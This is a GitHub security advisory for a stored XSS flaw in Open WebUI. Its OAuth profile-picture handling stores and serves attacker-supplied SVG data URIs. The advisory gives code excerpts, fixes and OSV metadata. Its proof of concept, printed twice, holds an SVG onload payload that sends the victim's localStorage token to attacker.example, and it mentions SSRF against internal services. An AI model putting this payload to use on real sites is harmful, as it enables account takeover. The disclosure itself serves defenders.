GHSA-3WGJ-C2HG-VM6Q
Vulnerability from github – Published: 2026-05-14 20:27 – Updated: 2026-05-14 20:27Summary
When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....
The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.
Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.
Details
1. MIME inferred from URL extension, not Content-Type
backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:
response = await client.get(picture_url, ...)
if response.status_code == 200:
picture = response.content
base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
guessed_mime_type = mimetypes.guess_type(picture_url)[0]
if guessed_mime_type is None:
guessed_mime_type = "image/jpeg"
return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"
No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.
2. OAuth path bypasses the profile-image validator
backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....
This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.
3. Endpoint serves attacker-controlled MIME with inline disposition
backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:
header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:") # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
iter([data]),
media_type=media_type,
headers={"Content-Disposition": "inline"},
)
No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.
4. No default CSP / nosniff
backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.
PoC
Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.
- Attacker hosts a malicious SVG at
https://attacker.example/p.svg:
<svg xmlns="http://www.w3.org/2000/svg"
onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
-
Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores
data:image/svg+xml;base64,...in the attacker'sprofile_image_url. -
Attacker shares a link to their own profile image with a victim in a chat DM or channel:
https://target.example/api/v1/users/<attacker-user-id>/profile/image
- The authenticated victim clicks the link. The browser receives
Content-Type: image/svg+xmlwithContent-Disposition: inline, renders the SVG as a top-level document, firesonload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.
Impact
- Account takeover of any authenticated user who opens the crafted URL.
- Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has
workspace.toolspermission — RCE via installed tools (per CVE-2025-64496 analysis). - The same
_process_picture_urlfunction has no SSRF allowlist; a secondary primitive is to point thepictureclaim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.
Suggested fix
-
In
_process_picture_url(utils/oauth.py:1336-1345): reject any MIME outside{image/png, image/jpeg, image/gif, image/webp}. Use the upstreamContent-Typeresponse header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets. -
In
get_user_profile_image_by_id(routers/users.py:504-528): enforce a MIME whitelist before buildingStreamingResponse. This is the defense-in-depth layer that should have caught the bypass. -
Apply
validate_profile_image_urlat the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator. -
Set
X-Content-Type-Options: nosniffand a default CSP unless the operator explicitly disables them.
References
backend/open_webui/utils/oauth.py:1318-1351— MIME guess + fetchbackend/open_webui/utils/oauth.py:1536-1574— OAuth write pathbackend/open_webui/utils/validate.py:10-36— validator (bypassed)backend/open_webui/models/users.py:575-588— DB writebackend/open_webui/routers/users.py:504-528— serving endpointbackend/open_webui/utils/security_headers.py:16-61— env-gated headers- CVE-2025-64496 — precedent: trust boundary error (same class)
- CVE-2025-64495 — precedent: rich-text XSS (same class)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:27:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Summary\n\nWhen a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:\u003cmime\u003e;base64,...` as the user\u0027s profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`.\n\nThe profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME type as `Content-Type` and `Content-Disposition: inline`. Security headers (CSP, `X-Content-Type-Options`) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing `\u003cscript\u003e`/`onload` in the same origin and able to read `localStorage.token` \u2192 account takeover.\n\nSame class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.\n\n# Details\n\n## 1. MIME inferred from URL extension, not Content-Type\n\n`backend/open_webui/utils/oauth.py:1336-1345` \u2014 `_process_picture_url`:\n\n```python\nresponse = await client.get(picture_url, ...)\nif response.status_code == 200:\n picture = response.content\n base64_encoded_picture = base64.b64encode(picture).decode(\"utf-8\")\n guessed_mime_type = mimetypes.guess_type(picture_url)[0]\n if guessed_mime_type is None:\n guessed_mime_type = \"image/jpeg\"\n return f\"data:{guessed_mime_type};base64,{base64_encoded_picture}\"\n```\n\nNo MIME allowlist. The upstream `Content-Type` is ignored. For a URL ending in `.svg`, `mimetypes.guess_type` returns `image/svg+xml`.\n\n## 2. OAuth path bypasses the profile-image validator\n\n`backend/open_webui/utils/validate.py:10-36` defines `validate_profile_image_url`, which only accepts `/user.png`, `/user-mono.png`, and `data:image/{png,jpeg,gif,webp};base64,...`.\n\nThis validator is wired into Pydantic form models (`SignupForm`, `UpdateProfileForm`, `UserUpdateForm`), but the OAuth flow at `oauth.py:1536-1540` (existing-user login) and `oauth.py:1556-1574` (new-user signup) writes via `Users.update_user_profile_image_url_by_id` and `Auths.insert_new_auth`, both of which call SQLAlchemy directly (`models/users.py:575-588`) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.\n\n## 3. Endpoint serves attacker-controlled MIME with `inline` disposition\n\n`backend/open_webui/routers/users.py:504-528` \u2014 `get_user_profile_image_by_id`:\n\n```python\nheader, encoded = image.split(\",\", 1)\nmedia_type = header.split(\";\")[0].lstrip(\"data:\") # \"image/svg+xml\"\ndata = base64.b64decode(encoded)\nreturn StreamingResponse(\n iter([data]),\n media_type=media_type,\n headers={\"Content-Disposition\": \"inline\"},\n)\n```\n\nNo MIME whitelist. The route requires `get_verified_user` \u2014 any authenticated user reaches it.\n\n## 4. No default CSP / nosniff\n\n`backend/open_webui/utils/security_headers.py:16-61` populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level `image/svg+xml` response as an XML document and execute embedded script.\n\n# PoC\n\n**Prerequisites**: operator has OAuth signup enabled (`ENABLE_OAUTH_SIGNUP=true`) or OAuth login with picture sync (`OAUTH_UPDATE_PICTURE_ON_LOGIN=true`). The attacker has a valid identity on the configured IdP and can set their profile picture URL.\n\n1. Attacker hosts a malicious SVG at `https://attacker.example/p.svg`:\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\n onload=\"fetch(\u0027https://attacker.example/x?c=\u0027+encodeURIComponent(localStorage.getItem(\u0027token\u0027)))\" /\u003e\n```\n\n2. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores `data:image/svg+xml;base64,...` in the attacker\u0027s `profile_image_url`.\n\n3. Attacker shares a link to their own profile image with a victim in a chat DM or channel:\n\n```\nhttps://target.example/api/v1/users/\u003cattacker-user-id\u003e/profile/image\n```\n\n4. The authenticated victim clicks the link. The browser receives `Content-Type: image/svg+xml` with `Content-Disposition: inline`, renders the SVG as a top-level document, fires `onload`, and exfiltrates the victim\u0027s JWT. Attacker uses the JWT to take over the victim\u0027s account.\n\n# Impact\n\n- Account takeover of any authenticated user who opens the crafted URL.\n- Post-takeover: access to the victim\u0027s chats, API keys stored in their settings, and \u2014 if the victim has `workspace.tools` permission \u2014 RCE via installed tools (per CVE-2025-64496 analysis).\n- The same `_process_picture_url` function has no SSRF allowlist; a secondary primitive is to point the `picture` claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.\n\n# Suggested fix\n\n1. In `_process_picture_url` (`utils/oauth.py:1336-1345`): reject any MIME outside `{image/png, image/jpeg, image/gif, image/webp}`. Use the upstream `Content-Type` response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.\n\n2. In `get_user_profile_image_by_id` (`routers/users.py:504-528`): enforce a MIME whitelist before building `StreamingResponse`. This is the defense-in-depth layer that should have caught the bypass.\n\n3. Apply `validate_profile_image_url` at the model/storage layer (`Users.update_user_profile_image_url_by_id`), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.\n\n4. Set `X-Content-Type-Options: nosniff` and a default CSP unless the operator explicitly disables them.\n\n# References\n\n- `backend/open_webui/utils/oauth.py:1318-1351` \u2014 MIME guess + fetch\n- `backend/open_webui/utils/oauth.py:1536-1574` \u2014 OAuth write path\n- `backend/open_webui/utils/validate.py:10-36` \u2014 validator (bypassed)\n- `backend/open_webui/models/users.py:575-588` \u2014 DB write\n- `backend/open_webui/routers/users.py:504-528` \u2014 serving endpoint\n- `backend/open_webui/utils/security_headers.py:16-61` \u2014 env-gated headers\n- CVE-2025-64496 \u2014 precedent: trust boundary error (same class)\n- CVE-2025-64495 \u2014 precedent: rich-text XSS (same class)",
"id": "GHSA-3wgj-c2hg-vm6q",
"modified": "2026-05-14T20:27:28Z",
"published": "2026-05-14T20:27:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-3wgj-c2hg-vm6q"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI vulnerable to stored XSS via OAuth picture claim stored as SVG data URI in profile_image_url"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.